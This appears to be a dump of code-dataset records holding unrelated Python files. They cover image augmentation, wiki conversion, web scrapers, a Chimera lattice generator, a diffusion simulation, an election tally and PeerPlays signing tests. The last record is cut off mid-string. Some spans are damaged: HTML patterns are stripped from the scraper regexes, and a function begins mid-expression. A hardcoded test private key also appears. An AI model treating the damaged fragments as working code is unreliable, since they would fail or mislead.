iaa.Affine(scale={\"x\": (0.75, 1.25), \"y\": (0.75, 1.25)}),\n# iaa.Pad(px=(1, 4), keep_size=True, sample_independently=False),\n# iaa.Crop(px=(1, 4), keep_size=True, sample_independently=False),\n# iaa.CoarseDropout((0.05, 0.2), size_percent=(0.025, 0.5), per_channel=0.6),\n# iaa.WithColorspace(to_colorspace=\"HSV\", from_colorspace=\"RGB\", children=iaa.WithChannels(0, iaa.Add((20, 50)))),\n# iaa.Grayscale(alpha=(0.35, 0.75)),\n# iaa.Noop()\n# ]\n\n# IntegerVariable(\"name\", current_value, starting_range, ending_range, mutation_chance)\n# ContinuousVariable(\"name\", current_value, starting_range, ending_range, mutation chance)\n# Option(\"name\", options*, current_value, mutation_chance)\n\nDA_SubMutagens = {\n\n \"Rotate\": {\n \"lo\": IntegerVariable(\"lo\", -30, -180, 1, 0.2),\n \"hi\": IntegerVariable(\"hi\", 30, 0, 180, 0.2)},\n\n \"Translate_Pixels\": {\n \"x_lo\": IntegerVariable(\"x_lo\", -4, -15, -1, 0.2),\n \"x_hi\": IntegerVariable(\"x_hi\", 4, 0, 15, 0.2),\n \"y_lo\": IntegerVariable(\"y_lo\", -4, -15, -1, 0.2),\n \"y_hi\": IntegerVariable(\"y_hi\", 4, 0, 15, 0.2)},\n\n \"Scale\": {\n \"x_lo\": ContinuousVariable(\"x_lo\", 0.75, 0.25, 0.99, 0.3),\n \"x_hi\": ContinuousVariable(\"x_hi\", 1.25, 1.0, 2.0, 0.3),\n \"y_lo\": ContinuousVariable(\"y_lo\", 0.75, 0.25, 0.99, 0.3),\n \"y_hi\": ContinuousVariable(\"y_hi\", 1.25, 1.0, 2.0, 0.3)},\n\n \"Pad_Pixels\": {\n \"lo\": IntegerVariable(\"lo\", 1, 0, 3, 0.2),\n \"hi\": IntegerVariable(\"hi\", 4, 4, 6, 0.2),\n \"s_i\": Option(\"s_i\", True, False, current_value=False, mutation_chance=0.2)},\n\n \"Crop_Pixels\": {\n \"lo\": IntegerVariable(\"lo\", 1, 0, 3, 0.2),\n \"hi\": IntegerVariable(\"hi\", 4, 4, 6, 0.2),\n \"s_i\": Option(\"s_i\", True, False, current_value=False, mutation_chance=0.2)},\n\n\n \"Coarse_Dropout\": {\n \"d_lo\": ContinuousVariable(\"d_lo\", 0.03, 0.0, 0.09, 0.3),\n \"d_hi\": ContinuousVariable(\"d_hi\", 0.15, 0.1, 0.3, 0.3),\n \"s_lo\": ContinuousVariable(\"s_lo\", 0.025, 0.0, 0.09, 0.3),\n \"s_hi\": ContinuousVariable(\"s_hi\", 0.3, 0.1, 1.0, 0.3),\n \"percent\": ContinuousVariable(\"percent\", 0.6, 0.2, 0.8, 0.3)\n }\n\n}\n\n# Separated Photometric (Colour) Augmentations from geometric (non-colour) ones\nif config.use_colour_augmentations:\n\n DA_SubMutagens[\"HSV\"] = {\n \"channel\": Option(\"channel\", 0, 1, 2, current_value=0, mutation_chance=0.1),\n \"lo\": IntegerVariable(\"lo\", 20, 0, 29, 0.2),\n \"hi\": IntegerVariable(\"hi\", 50, 30, 60, 0.2)\n }\n\n DA_SubMutagens[\"Grayscale\"] = {\n \"alpha_lo\": ContinuousVariable(\"alpha_lo\", 0.35, 0.0, 0.49, 0.3),\n \"alpha_hi\": ContinuousVariable(\"alpha_hi\", 0.75, 0.5, 1.0, 0.3)}\n\n DA_Mutagens = Option(\"DA Type\", \"Flip_lr\", \"Rotate\", \"Translate_Pixels\", \"Scale\", \"Pad_Pixels\", \"Crop_Pixels\",\n \"Grayscale\", \"Coarse_Dropout\", \"HSV\", \"No_Operation\",\n current_value=random.choice(list(DA_SubMutagens.keys())),\n submutagens=DA_SubMutagens, mutation_chance=0.25)\nelse:\n\n Option(\"DA Type\", \"Flip_lr\", \"Rotate\", \"Translate_Pixels\", \"Scale\", \"Pad_Pixels\", \"Crop_Pixels\",\n \"Coarse_Dropout\", \"No_Operation\", current_value=random.choice(list(DA_SubMutagens.keys())),\n submutagens=DA_SubMutagens, mutation_chance=0.25)\n\n","sub_path":"src2/Phenotype/Augmentations/EvolvedAugmentations.py","file_name":"EvolvedAugmentations.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200037499","text":"from enum import Enum\n\nclass MainParseMode(Enum):\n MainTags = 1\n UnitClassTags = 2\n UnitModifierTags = 3\n\n\nclass HEDXml2Wiki():\n def __init__(self):\n self.parent_map = None\n self.current_tag_string = \"\"\n self.current_tag_extra = \"\"\n self.parse_mode = MainParseMode.MainTags\n\n def count_parent_nodes(self, node, tags_to_check=None):\n if tags_to_check is None:\n tags_to_check = [\"node\"]\n nodes_in_parent = 0\n parent_elem = node\n while parent_elem in self.parent_map:\n if parent_elem.tag in tags_to_check:\n nodes_in_parent += 1\n parent_elem = self.parent_map[parent_elem]\n\n return nodes_in_parent\n\n def flush_current_tag(self):\n if self.current_tag_string or self.current_tag_extra:\n if self.current_tag_extra:\n print(f\"{self.current_tag_string} {self.current_tag_extra}\")\n else:\n print(self.current_tag_string)\n self.current_tag_string = \"\"\n self.current_tag_extra = \"\"\n\n def add_blank_line(self):\n print(\"\")\n\n def process_tree(self, hed_tree):\n # Create a map so we can go from child to parent easily.\n self.parent_map = {c: p for p in hed_tree.iter() for c in p}\n self.current_tag_string = \"\"\n self.current_tag_extra = \"\"\n\n parse_mode = MainParseMode.MainTags\n for elem in hed_tree.iter():\n if elem.tag == \"HED\":\n self.current_tag_string = f\"HED version: {elem.attrib['version']}\"\n self.flush_current_tag()\n self.add_blank_line()\n self.current_tag_string = \"!# start hed\"\n self.flush_current_tag()\n continue\n elif elem.tag == \"unitClasses\":\n self.flush_current_tag()\n parse_mode = MainParseMode.UnitClassTags\n\n section_text_name = \"Unit classes\"\n self.current_tag_string += \"\\n\"\n self.current_tag_string += f\"'''{section_text_name}'''\"\n self.add_blank_line()\n elif elem.tag == \"unitModifiers\":\n self.flush_current_tag()\n parse_mode = MainParseMode.UnitModifierTags\n\n section_text_name = \"Unit modifiers\"\n self.current_tag_string += \"\\n\"\n self.current_tag_string += f\"'''{section_text_name}'''\"\n # self.add_blank_line()\n\n nodes_in_parent = None\n if parse_mode == MainParseMode.MainTags:\n nodes_in_parent = self.count_parent_nodes(elem) - 1\n if elem.tag == \"node\":\n self.flush_current_tag()\n elif parse_mode == MainParseMode.UnitClassTags:\n nodes_in_parent = self.count_parent_nodes(elem,\n tags_to_check=[\"unitClasses\", \"units\"])\n if elem.tag == \"unit\" or elem.tag == \"unitClass\":\n self.flush_current_tag()\n\n # Handle old style units where they don't have separate tags.\n if elem.tag == \"units\" and not elem.text.isspace():\n self.flush_current_tag()\n unit_list = elem.text.split(',')\n for unit in unit_list:\n prefix = \"*\" * nodes_in_parent\n self.current_tag_string += f\"{prefix} {unit}\"\n self.flush_current_tag()\n\n elif parse_mode == MainParseMode.UnitModifierTags:\n nodes_in_parent = self.count_parent_nodes(elem, tags_to_check=[\"unitModifiers\"])\n if elem.tag == \"unitModifier\":\n self.flush_current_tag()\n\n # stuff that applies to all modes\n if elem.tag == \"name\" or elem.tag == \"unit\":\n # handle special case where text is just \"#\"\n if elem.text and \"#\" in elem.text:\n prefix = \"*\" * nodes_in_parent\n self.current_tag_string += f\"{prefix}\"\n self.current_tag_extra = f\"{elem.text} {self.current_tag_extra}\"\n else:\n if nodes_in_parent == 0:\n self.current_tag_string += f\"'''{elem.text}'''\"\n self.add_blank_line()\n elif nodes_in_parent > 0:\n prefix = \"*\" * nodes_in_parent\n self.current_tag_string += f\"{prefix} {elem.text}\"\n elif nodes_in_parent == -1:\n self.current_tag_string += elem.tag\n\n self.add_elem_desc(elem)\n self.add_elem_attributes(elem)\n\n\n self.flush_current_tag()\n self.current_tag_string = \"!# end hed\"\n self.flush_current_tag()\n\n def add_elem_desc(self, elem):\n if elem.tag == \"description\":\n if self.current_tag_extra:\n self.current_tag_extra += \" \"\n self.current_tag_extra += f\"[{elem.text}]\"\n\n def add_elem_attributes(self, elem):\n if len(elem.attrib) > 0:\n self.current_tag_extra += \"{\"\n is_first = True\n sorted_keys = []\n # This is purely optional, but makes comparing easier when it's identical\n expected_key_order = [\"takesValue\", \"isNumeric\", \"requireChild\", \"required\", \"unique\",\n \"predicateType\", \"position\", \"unitClass\", \"default\"]\n for expected_key in expected_key_order:\n if expected_key in elem.attrib:\n sorted_keys.append(expected_key)\n for attrib_name in elem.attrib:\n if attrib_name not in sorted_keys:\n sorted_keys.append(attrib_name)\n\n for attrib_name in sorted_keys:\n attrib_val = elem.attrib[attrib_name]\n if attrib_name == \"unitClass\":\n unit_classes = attrib_val.split(\",\")\n for unit_class in unit_classes:\n if not is_first:\n self.current_tag_extra += \", \"\n is_first = False\n self.current_tag_extra += f\"{attrib_name}={unit_class}\"\n else:\n if not is_first:\n self.current_tag_extra += \", \"\n is_first = False\n if attrib_val == \"true\":\n self.current_tag_extra += attrib_name\n elif attrib_val.isdigit():\n self.current_tag_extra += f\"{attrib_name}={attrib_val}\"\n else:\n self.current_tag_extra += f\"{attrib_name}={attrib_val}\"\n self.current_tag_extra += \"}\"\n","sub_path":"xml2wiki.py","file_name":"xml2wiki.py","file_ext":"py","file_size_in_byte":6833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"149808997","text":"# Jeff Falberg\n# simple collection process exercise\n\nimport urllib.request as urr\nimport urllib.error\nfrom urllib.parse import quote\nfrom urllib.error import HTTPError\nimport sys\nimport re\nimport os\n\n# Print output to csv file\nsys.argv = [\"simple_collection_process.py\", \"output.csv\"]\noutput_file = sys.argv[1]\noutput_csv = open(output_file, \"w\", encoding='utf-8')\n\n# open home page of articles\nurl = \"https://app.hedgeye.com/insights/all?type=insight\"\npage = urr.urlopen(url)\nif page.getcode() == 200 :\n\tsourcepage = page.read()\n\tsource = sourcepage.decode(\"utf-8\")\n\t# compile array of the five most recent article URLs in addition to the newest one\n\tarticles = []\n\tarticles.append(url)\n\tfor i in range(1, 6) :\n\t\tregexArticle = re.compile(\"
.*?\", re.DOTALL)\n\t\tarticle = re.findall(regexArticle, source)[i]\n\t\tarticle = \"https://app.hedgeye.com\"+article\n\t\tarticles.append(article)\n\t# confirm article links\n\tprint(articles)\n\t# open each article URL in array to collect data\n\tfor i in range(0, len(articles)): \n\t\turl = articles[i]\n\t\tpage = urr.urlopen(url)\n\t\tif page.getcode() == 200 :\n\t\t\tsourcepage = page.read()\n\t\t\tsource = sourcepage.decode(\"utf-8\")\n\t\t\tprint(\"Processing: \"+url)\n\t\t\t# fetch datetime\n\t\t\tregexDate = re.compile(r\"time datetime.*?(\\d.*?)\", re.DOTALL)\n\t\t\tdatetime = re.findall(regexDate, source)[0]\n\t\t\t# fetch headline\n\t\t\tregexHeadline = re.compile(r\"

(.*?)

\", re.DOTALL)\n\t\t\theadline = re.findall(regexHeadline, source)[0]\n\t\t\theadline = re.sub('\\n','',headline)\n\t\t\t# fetch author image\n\t\t\ttry:\n\t\t\t\tregexHeadshot = re.compile(r\"headshot.*?src=\\\"(.*?)\\\" /\", re.DOTALL)\n\t\t\t\theadshot = re.findall(regexHeadshot, source)[0]\n\t\t\texcept IndexError:\n\t\t\t\theadshot = ''\n\t\t\t# fetch author name\n\t\t\ttry:\n\t\t\t\tregexAuthorName = re.compile(r\"'full-name'>(.*?)
\", re.DOTALL)\n\t\t\t\tAuthorName = re.findall(regexAuthorName, source)[0]\n\t\t\texcept IndexError:\n\t\t\t\tAuthorName = ''\n\t\t\t# fetch Twitter Handle\n\t\t\ttry:\n\t\t\t\tregexTwitter = re.compile(\"'twitter-handle'>.*?target=\\\"_blank\\\">(.*?)\", re.DOTALL)\n\t\t\t\ttwitter = re.findall(regexTwitter, source)[0]\n\t\t\texcept IndexError:\n\t\t\t\ttwitter = ''\n\t\t\t# fetch Content Body HTML\n\t\t\tregexBody = re.compile(\"
\\n(.*?)
\", re.DOTALL)\n\t\t\tbody = re.findall(regexBody, source)[0]\n\t\t\t# clean up required for csv\n\t\t\tbody = re.sub(\"\\r\\n\",\" \",body)\n\t\t\tbody = re.sub(\"\\n\",\" \",body)\n\t\t\t# write to csv file, using pipe deliminator\n\t\t\toutput_csv.write('\"'+datetime+'\"|'+'\"'+headline+'\"|'+'\"'+headshot+'\"|'+'\"'+AuthorName+'\"|'+'\"'+twitter+'\"|'+'\"'+body+'\"\\n')\n\t\t\t# download first image from article\n\t\t\tregexPicture = re.compile(r\" min(item[0],item[1],item[2],item[3]):\n polygon +=1\n elif (item[0]==item[1]==item[2]==item[3]):\n square +=1\n\n elif(item[0]==item[2] and item[1]== item[3]):\n rect +=1\n \n else:\n polygon +=1\n\n return square,rect,polygon\n\n\n\n\ninput = [[36,30,36,30],\n[15, 15, 15, 15],\n[46, 96, 90, 100],\n[86 ,86 ,86 ,86],\n[100, 200, 100, 200],\n[-100, 200, -100 ,200]]\n\nprint(count_polygons(input))","sub_path":"Random_Interview_Questions/count_no_of_polygons.py","file_name":"count_no_of_polygons.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"316395679","text":"# Copyright 2018 D-Wave Systems Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ================================================================================================\nfrom __future__ import absolute_import\n\nimport random\n\nfrom dimod.binary_quadratic_model import BinaryQuadraticModel\nfrom dimod.vartypes import SPIN\n\n__all__ = ['chimera_anticluster']\n\n\ndef chimera_anticluster(m, n=None, t=4, multiplier=3.0, cls=BinaryQuadraticModel):\n \"\"\"Generate an anticluster problem on a Chimera lattice.\n\n An anticluster problem has weak interactions within a tile and strong interactions outside.\n\n Args:\n m (int):\n Number of rows in the Chimera lattice.\n\n n (int, optional, default=m):\n Number of columns in the Chimera lattice.\n\n t (int, optiona, default=t):\n Size of the shore within each Chimera tile.\n\n multiplier (number):\n Strength of the intertile edges.\n\n cls (:class:`.BinaryQuadraticModel`):\n Binary quadratic model class to build from.\n\n Returns:\n :obj:`.BinaryQuadraticModel`: spin-valued binary quadratic model.\n\n \"\"\"\n m = int(m)\n if n is None:\n n = m\n else:\n n = int(n)\n t = int(t)\n\n # only defined for Ising problems\n linear = {}\n\n quadratic = {edge: random.choice((-1., 1.)) for edge in _iter_chimera_tile_edges(m, n, t)}\n quadratic.update({edge: multiplier*random.choice((-1., 1.)) for edge in _iter_chimera_intertile_edges(m, n, t)})\n\n return cls(linear, quadratic, 0.0, SPIN)\n\n\ndef _iter_chimera_tile_edges(m, n, t):\n hoff = 2 * t\n voff = n * hoff\n mi = m * voff\n ni = n * hoff\n\n # tile edges\n for edge in ((k0, k1)\n for i in range(0, ni, hoff)\n for j in range(i, mi, voff)\n for k0 in range(j, j + t)\n for k1 in range(j + t, j + 2 * t)):\n yield edge\n\n\ndef _iter_chimera_intertile_edges(m, n, t):\n hoff = 2 * t\n voff = n * hoff\n mi = m * voff\n ni = n * hoff\n\n # horizontal edges\n for edge in ((k, k + hoff)\n for i in range(t, 2 * t)\n for j in range(i, ni - hoff, hoff)\n for k in range(j, mi, voff)):\n yield edge\n\n # vertical edges\n for edge in ((k, k + voff)\n for i in range(t)\n for j in range(i, ni, hoff)\n for k in range(j, mi - voff, voff)):\n yield edge\n","sub_path":"dimod/generators/chimera.py","file_name":"chimera.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"636380434","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. \nCopyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. \nBK-BASE 蓝鲸基础平台 is licensed under the MIT License.\nLicense for BK-BASE 蓝鲸基础平台:\n--------------------------------------------------------------------\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\nthe rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,\nand to permit persons to whom the Software is furnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all copies or substantial\nportions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT\nLIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\nNO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\nimport datetime\n\nfrom django.utils.translation import ugettext as _\nfrom rest_framework import serializers\n\nfrom common.exceptions import ValidationError\n\n\nclass StorageMetricSummarySerializer(serializers.Serializer):\n start_time = serializers.CharField(label=_(\"开始日期\"))\n end_time = serializers.CharField(label=_(\"结束日期\"))\n geog_area_code = serializers.CharField(required=False, label=_(\"地区\"))\n\n def validate_start_time(self, start_time):\n try:\n datetime.datetime.strptime(start_time, \"%Y-%m-%d %H:%M:%S\")\n except ValueError:\n raise ValidationError(_(\"开始日期，格式为YYYY-MM-DD HH:mm:SS\"))\n return start_time\n\n def validate_end_time(self, end_time):\n try:\n datetime.datetime.strptime(end_time, \"%Y-%m-%d %H:%M:%S\")\n except ValueError:\n raise ValidationError(_(\"结束日期，格式为YYYY-MM-DD HH:mm:SS\"))\n return end_time\n","sub_path":"src/api/resourcecenter/serializers/storage_metrics_serializers.py","file_name":"storage_metrics_serializers.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"486374137","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 14 23:22:16 2018\n\n@author: Leo\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport time\nimport pandas as pd\n\ndef getHTMLText(url, data):\n try:\n r = requests.post(url, data=data)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r\n except:\n return \"\"\n\ndef getProCode(url, page):\n dic = {}\n dic['step'] = 'get_campaigns_by_campaign_type'\n dic['campaign_type'] = 'successful'\n dic['lang'] = 'en'\n dic['exclud_camp'] = '0'\n MaxPage = page\n start_time = time.time()\n for i in range(1, MaxPage+1):\n dic['page'] = i\n html = getHTMLText(url, dic).text\n try:\n if html == \"\":\n continue\n else:\n try:\n soup = BeautifulSoup(html, 'html.parser')\n except:\n html = getHTMLText(url, dic).content\n soup = BeautifulSoup(html, 'html.parser')\n img = soup.find_all('img')\n pat0 = re.compile(r'/\\d{4}/\\d{2}/')\n pat1 = re.compile(r'\\d*/img')\n pat2 = re.compile(r'^<.*>6.2f}% Done, Time Remained: {:04}:{:02}:{:02}\".format(\n (i*100/MaxPage), int(remain_time//3600), \n int(remain_time//60%60), int(remain_time%60)),\n end=\"\")\n except:\n continue\n \ndf = pd.DataFrame({'Project_Code':'', 'Website':'', 'Date':''}, index=range(0,500))\nurl_suc = 'https://gogetfunding.com/wp-content/themes/ggf/campaigns.php'\ngetProCode(url_suc, 20)\n\nret_path = r'C:\\Users\\charl\\Desktop\\ProCode.csv'\ndf.to_csv(ret_path, encoding='utf-8', index=False)","sub_path":"Donation_Crawl_S1.py","file_name":"Donation_Crawl_S1.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"329451871","text":"#%% Import\nimport numpy as np\nfrom matplotlib import pyplot as plt, cm\nimport os\nimport importlib\nimport copy\nfrom itertools import product\n\nimport my_functions as mf\nimport my_variables as mv\nimport my_indexes as mi\nimport my_constants as mc\nimport my_mapping as mm\n\nmf = importlib.reload(mf)\nmv = importlib.reload(mv)\nmi = importlib.reload(mi)\nmc = importlib.reload(mc)\nmm = importlib.reload(mm)\n\nos.chdir(mv.sim_path_MAC + 'diffusion')\n\n#%%\nmon_matrix = np.load(mv.sim_path_MAC + 'MATRIXES/MATRIX_mon.npy')\nrad_mon_matrix = np.load(mv.sim_path_MAC + 'MATRIXES/MATRIX_rad_mon.npy')\n\nl_xyz = np.array((600, 100, 122))\n\nx_beg, y_beg, z_beg = (-l_xyz[0]/2, 0, 0)\nxyz_beg = np.array((x_beg, y_beg, z_beg))\nxyz_end = xyz_beg + l_xyz\nx_end, y_end, z_end = xyz_end\n\nstep_2nm = 2\n\nx_bins_2nm = np.arange(x_beg, x_end + 1, step_2nm)\ny_bins_2nm = np.arange(y_beg, y_end + 1, step_2nm)\nz_bins_2nm = np.arange(z_beg, z_end + 1, step_2nm)\n\nbins_2nm = x_bins_2nm, y_bins_2nm, z_bins_2nm\n\nx_grid_2nm = (x_bins_2nm[:-1] + x_bins_2nm[1:]) / 2\ny_grid_2nm = (y_bins_2nm[:-1] + y_bins_2nm[1:]) / 2\nz_grid_2nm = (z_bins_2nm[:-1] + z_bins_2nm[1:]) / 2\n\nresist_shape = len(x_grid_2nm), len(y_grid_2nm), len(z_grid_2nm)\n\n\nD = 10\ndx = dy = dz = 2\n\ndt = dx**2 / (2 * D) / 100\n\nx_g = x_grid_2nm\nz_g = z_grid_2nm\n\nd_coord = dx\n\nu_mon = copy.deepcopy(mon_matrix)\nu_rad = copy.deepcopy(rad_mon_matrix)\n\nadd_x = np.zeros((1, len(u_mon[0]), len(u_mon[0, 0])))\nu_mon = np.concatenate((add_x, u_mon, add_x), axis=0)\nu_rad = np.concatenate((add_x, u_rad, add_x), axis=0)\n\nadd_y = np.zeros((len(u_mon), 1, len(u_mon[0, 0])))\nu_mon = np.concatenate((add_y, u_mon, add_y), axis=1)\nu_rad = np.concatenate((add_y, u_rad, add_y), axis=1)\n\nadd_z = np.zeros((len(u_mon), len(u_mon[0]), 1))\nu_mon = np.concatenate((add_z, u_mon, add_z), axis=2)\nu_rad = np.concatenate((add_z, u_rad, add_z), axis=2)\n\nu_tot = u_mon + u_rad\n\n\nu_shape = np.shape(u_mon)\nrange_x, range_y, range_z = range(u_shape[0]), range(u_shape[1]),\\\n range(u_shape[2])\n\nrad_mon_table = np.zeros((int(np.sum(u_rad)), 3), dtype=np.int16)\n\npos = 0\n\nfor i, j, k in product(range_x, range_y, range_z):\n \n if u_rad[i, j, k] != 0:\n for ii in range(len(rad_mon_table[int(pos):int(pos+u_rad[i, j, k])])):\n rad_mon_table[int(pos+ii)] = i, j, k\n \n pos += u_rad[i, j, k]\n\n#for line in rad_mon_table:\n# print(u_rad[line[0], line[1], line[2]])\n\n#%%\nnt = 10000\n\nfor n in range(nt):\n \n mf.upd_progress_bar(n, nt)\n \n un = copy.deepcopy(u_mon)\n \n u_mon[:, :, -1] = u_mon[:, :, -2]\n \n u_mon[1:-1, 1:-1, 1:-1] = un[1:-1, 1:-1, 1:-1] + D * dt / d_coord**2 * (\n un[2:, 1:-1, 1:-1] - 2 * un[1:-1, 1:-1, 1:-1] + un[0:-2, 1:-1, 1:-1] +\n un[1:-1, 2:, 1:-1] - 2 * un[1:-1, 1:-1, 1:-1] + un[1:-1, 0:-2, 1:-1] +\n un[1:-1, 1:-1, 2:] - 2 * un[1:-1, 1:-1, 1:-1] + un[1:-1, 1:-1, 0:-2]\n )\n \n u_tot = u_mon + u_rad\n \n if n % 100 == 0:\n \n for idx, rad_line in enumerate(rad_mon_table):\n \n x, y, z = rad_line\n \n if x == 0 or y == 0 or z == 0 or x == 301 or y == 51 or z == 62:\n continue\n \n arr = u_tot[x-1:x+2, y-1:y+2, z-1:z+2]\n arr_line = arr.reshape((27,))\n \n arr_line[np.where(arr_line < 0)] = 0\n \n if np.all(arr_line == 0):\n arr_line_normed = 1 / 27\n else:\n arr_line_pre = (np.sum(arr_line) - arr_line)\n arr_line_norm = arr_line_pre / np.sum(arr_line_pre)\n \n pos = mf.choice(list(range(27)), p=arr_line_norm)\n \n pos_x = pos // 9\n pos_y = (pos - pos_x*9) // 3\n pos_z = pos - pos_x*9 - pos_y*3\n \n new_x = x + pos_x - 1\n new_y = y + pos_y - 1\n new_z = z + pos_z - 1\n\n rad_mon_table[idx] = new_x, new_y, new_z\n \n u_rad[x, y, z] -= 1\n u_rad[new_x, new_y, new_z] += 1\n\n#%%\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\nX, Z = np.meshgrid(x_g, z_g)\n\nu_mon_sum = np.sum(u_mon[1:-1, 1:-1, 1:-1], axis=1)\nu_rad_sum = np.sum(u_rad[1:-1, 1:-1, 1:-1], axis=1)\n\nsurf = ax.plot_surface(X, Z, u_mon_sum.transpose(),\\\n rstride=1, cstride=1, cmap=cm.viridis, linewidth=0, antialiased=True)\n#ax.set_zlim(0, 2.5)\nax.set_xlabel('$x$')\nax.set_ylabel('$z$')\n","sub_path":"diffusion/GET_diffusion_3D.py","file_name":"GET_diffusion_3D.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215138524","text":"import csv\nimport os\n\n# election data filepath\ndatafile = os.path.join(\"Resources\", \"election_data.csv\")\n# output filepath\nnewfile = os.path.join(\"Resources\", \"election_analysis.txt\")\n\ntotalVotes = []\nballots = []\ncandidateDict = []\n\n# split data file into rows\nwith open(datafile, newline = '') as csvfile:\n # split data into columns\n csvreader = csv.reader(csvfile, delimiter = ',')\n # skip header row\n next(csvreader)\n\n for row in csvreader:\n # add col A to 'totalVotes'\n totalVotes.append(row[0]) \n # add col C to list 'ballots'\n ballots.append(row[2])\n\n# create candidate list by casting list 'ballots' as set (eliminating duplicates)\ncandidates = list(set(ballots))\n\n# create list of candidates' number of votes\nvotes = []\n\nprint('Election Results')\n\nprint('--------------------------')\n\n# total votes cast = total number of rows excluding header\nprint(f'Total Votes: {len(totalVotes)}')\n\nprint('--------------------------')\n\n# print each candidate's results\nfor i in range(len(candidates)):\n # count number of votes for each candidate\n voteCount = ballots.count(candidates[i])\n # add to list 'votes'\n votes.append(voteCount)\n # vote percentage = (candidate votes/total votes) * 100\n percentage = round((voteCount/len(totalVotes)*100), 2)\n print(f'{candidates[i]}: {percentage}% ({voteCount})')\n\nprint('--------------------------')\n\n# find index of greatest votes\n# print corresponding candidate from list 'candidates'\nprint(f'Winner: {candidates[votes.index(max(votes))]}')\n\nprint('--------------------------')\n\nwith open(newfile, 'w') as textfile:\n textfile.write('Election Results')\n\n textfile.write('--------------------------')\n\n # total votes cast = total number of rows excluding header\n textfile.write(f'Total Votes: {len(totalVotes)}')\n\n textfile.write('--------------------------')\n\n # print each candidate's results\n for i in range(len(candidates)):\n # count number of votes for each candidate\n voteCount = ballots.count(candidates[i])\n # add to list 'votes'\n votes.append(voteCount)\n # vote percentage = (candidate votes/total votes) * 100\n percentage = round((voteCount/len(totalVotes)*100), 2)\n textfile.write(f'{candidates[i]}: {percentage}% ({voteCount})')\n\n textfile.write('--------------------------')\n\n # find index of greatest votes\n # print corresponding candidate from list 'candidates'\n textfile.write(f'Winner: {candidates[votes.index(max(votes))]}')\n\n textfile.write('--------------------------')","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"283147472","text":"import unittest\nimport mock\nfrom peerplays import PeerPlays\nfrom peerplays.message import Message\nfrom peerplays.instance import set_shared_peerplays_instance\n\nwif = \"5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3\"\ncore_unit = \"PPY\"\n\n\nclass Testcases(unittest.TestCase):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.ppy = PeerPlays(\n nobroadcast=True,\n wif=[wif]\n )\n # from getpass import getpass\n # self.ppy.wallet.unlock(getpass())\n set_shared_peerplays_instance(self.ppy)\n\n def test_sign_message(self):\n def new_refresh(self):\n dict.__init__(\n self, {\n \"name\": \"init0\",\n \"options\": {\n \"memo_key\": \"PPY6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV\"\n }})\n\n with mock.patch(\n \"peerplays.account.Account.refresh\",\n new=new_refresh\n ):\n p = Message(\"message foobar\").sign()\n Message(p).verify()\n\n def test_verify_message(self):\n Message(\n \"-----BEGIN PEERPLAYS SIGNED MESSAGE-----\\n\"\n \"message foobar\\n\"\n \"-----BEGIN META-----\\n\"\n \"account=init0\\n\"\n \"memokey=PPY6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV\\n\"\n \"block=6615231\\n\"\n \"timestamp=2018-01-24T10:48:00\\n\"\n \"-----BEGIN SIGNATURE-----\\n\"\n \"204c9f6ef77f5f13e0c94eed16a25a9ffaef794fef4b8101e0f0728e5cc962a0126e650d7d611b88ef8ae2eb9c486e6b8352cc13510b68beb588b3639a55faf2b9\\n\"\n \"-----END PEERPLAYS SIGNED MESSAGE-----\\n\"\n ).verify()\n\n Message(\n \"\\n\\n\\n\"\n \"-----BEGIN PEERPLAYS SIGNED MESSAGE-----\"\n \"message 